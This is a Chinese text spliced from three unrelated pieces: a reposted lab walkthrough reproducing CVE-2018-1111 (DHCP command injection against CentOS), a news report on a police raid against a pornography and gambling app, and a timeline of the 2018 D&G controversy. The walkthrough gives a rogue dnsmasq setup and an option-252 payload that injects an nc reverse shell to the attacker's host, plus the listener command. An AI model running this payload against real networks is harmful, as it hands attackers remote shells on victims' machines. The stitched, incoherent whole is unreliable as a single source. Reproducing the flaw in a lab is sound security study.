0×01 前言最近留意到CVE-2018-1111这个洞，关于dhcp命令注入，便想复现一波。DHCP是一个局域网的网络协议，主要用于内部网络动态IP地址分配。Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient（Red Hat Enterprise Linux 7）和/etc/NetworkManager/dispatcher.d/10-dhclient（Red Hat Enterprise Linux 6）。当NetworkManager组件从DHCP服务器收到DHCP响应时执行该脚本。最开始在Github上找到一个Docker的复现环境，尝试了各个docker镜像都发现漏洞已被patched掉了，无奈只能在VM上安装CentOS虚拟机。https://github.com/knqyf263/CVE-2018-1111关于漏洞成因，该文章已经分析的很清楚了，这里不再赘述。https://researchcenter.paloaltonetworks.com/2018/07/unit42-analysis-dhcp-client-script-code-execution-vulnerability-cve-2018-1111/0×02 配置虚拟机网络attacker: kali linux 2018 x64 192.168.71.5victim: Centos 7 x64 192.168.71.10打开VM虚拟网络编辑器，设置仅主机模式（关掉dhcp，设置ip）。将attacker、victim网络配置成仅主机模式：0×003 搭建dhcp服务先在kali下设置一下网络ifconfig eth0 192.168.71.5 netmask 255.255.255.0route add default gw 192.168.71.5现在设置成192.168.71.5的ip。在当前目录新建一个dnsmasq.conf文件，填入以下内容进行配置：bind-interfacesinterface=eth0except-interface=lodhcp-range=192.168.71.10,192.168.71.20,12hdhcp-option=3,192.168.71.5dhcp-option=6,192.168.71.5log-querieslog-facility=/var/log/dnsmasq.log参数解释：dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间dhcp-option: 表示指定给 DHCP 客户端的选项信息log-facility: 表示日志记录器其中配置文件中包括的 option 取值及含义如下：3: 设置网关地址选项6: 设置 DNS 服务器地址选项252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL，wpad-proxy-urlpayload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252，然后在他们的浏览器中写入与 dhcp 服务器交谈的能力，并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。这里 dnsmasq.conf中的dhcp-range设置：为 192.168.71.10-192.168.71.20/24 这个 ip 地址范围，租约时间为 12h。dhcp-option 3 网关地址和 dhcp-option6 DNS 服务器均设置为 kali 本地网卡的 ip 地址，kali 的 ip 地址为静态 ip。0×04 命令注入利用dnsmasq伪造dns服务器，命令执行 payload 如下：dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #"监听6666端口：nc -l -p 6666 -v重启CentOS的网络服务，然后shell就反弹回来了：现在，CentOS的ip也是由我们伪造dhcp服务分配的(范围在192.168.71.10~192.168.71.20)。转载地址：https://www.freebuf.com/articles/web/191884.html

该软件用户界面几乎完全复刻了抖音APP，注册无门槛，浏览零收费，内容淫秽不堪，赌博诈骗陷阱暗藏。在警方侦查的3个月期间，平台注册用户暴增数倍，而非注册浏览人群更是无法估量。3月23日起，龙岗警方160人组成的抓捕组挥旗北上奔赴15个地市，代号为" 收妖 "的行动在前期3个多月的侦查支撑下有序展开，"收妖"26人落网。不止视频内容严重违规，平台为了丰富视频 " 资源 "，更是推出了 " 妖精月赛 " 等营销活动为注册并上传 " 优质 " 视频的用户提供奖励。从活动推广文案，也能推断一下该平台的肆意程度。APP 上线短短5个月的时间，运营团队通过收取赌博网站广告费获利过千万。该案件令人反思，利用淫欲乱人心性，明知十赌九骗，却依旧有人向前。

事件来源2018年11月21日，意大利奢侈品牌D&G在上海举办品牌大秀，却被曝出其设计师在社交网站上发布涉嫌辱华的言论，引发争议。据悉，事件起因是因为DG日前在社交媒体上发布几条广告，这些将中国传统文化与意大利经典饮食相结合的广告宣传片，标题为“起筷吃饭”。其中的模特展示了如何使用筷子吃Pizza、意大利式甜卷等物。但广告中筷子被称为“小棍子形状的餐具”。同时，片中旁白所用的“中式发音”、傲慢的语气以及模特用筷子的奇怪姿势，均被质疑存在歧视中国传统文化的嫌疑。杜嘉班纳并未对此事做出回应，只是删除了官方微博上的相关视频，但依旧引发中国网友的不满。随后有网友在社交媒体上说起这件事，引起杜嘉班纳创始人之一、设计师Stefano Gabbana的社交媒体账号与网友争辩。这位设计师在和网友争辩过程中，恼羞成怒、大骂出口，还公然辱华，并称不怕被曝光。事件发展中国模特罢演DG大秀2018年11月21日，多名明星发声抵制，中国模特罢演DG大秀。据悉，本要出席晚宴的李冰冰、陈坤、章子怡、王俊凯、迪丽热巴、木子洋、梁靖康、火箭少女101均决定不出席今晚的秀；国内模特经纪公司旗下模特也罢演，Vogue主编张宇也直接返回北京，不出席今晚大秀。D&G官方宣布取消上海时装秀2018年11月21日，D&G官方宣布：原定于2018年11月21日晚8时在上海世博中心举行的杜嘉班纳THE GREAT SHOW因故改期。迪丽热巴工作室发声明终止与其的合作2018年11月21日晚，因品牌方设计师发表辱华言论，迪丽热巴工作室发声明终止与其的合作。称“我司作为中华人民共和国企业，迪丽热巴女士作为中华人民共和国公民，对此事感到无比愤慨！已向Dolce & Gabbana品牌方发出函告：自今日起，我司迪丽热巴女士终止与Dolce & Gabbana品牌合作。”电商下架相关商品及内容2018年11月22日，淘宝等电商平台多家海外代购D&G品牌的店铺表示，暂不接受订单。 [2] 包括天猫、京东、网易考拉、小红书 以及闲鱼等电商平台均已下架D&G相关商品与内容。D&G就辱华事件再发声但未道歉2018年11月22日，深陷辱华风波导致“大秀”撤摊的意大利品牌D&G在社交媒体ins上发表声明，宣称对中国“怀有爱与热情”，大秀取消对品牌和所有工作人员“都很不幸”，以下是其回应全文：我们原本梦想着，把一场为中国专属而设，可以展现我们品牌与想象力的活动带到上海。这不仅仅是一场时装秀，它是我们怀着对中国以及全球所有喜爱D&G品牌的人的爱与热情，创造出来的产物。今天发生的一切不仅对我们来说非常不幸，对为把这场秀带到现实中来日日夜夜工作的所有人来说，都很不幸。我们发自心底地感谢所有我们的朋友和客人。海口机场免税店下架D&G2018年11月22日上午，海口美兰机场免税店通过官微宣布：所有Dolce&Gabbana（杜嘉班纳）品牌产品全部下架。D&G发视频致歉全球华人2018年11月23日下午，D&G官方发布道歉视频。视频中两位设计师表示：面对我们在文化上理解的偏差，希望得到你们的原谅。并在最后用中文说出了对不起。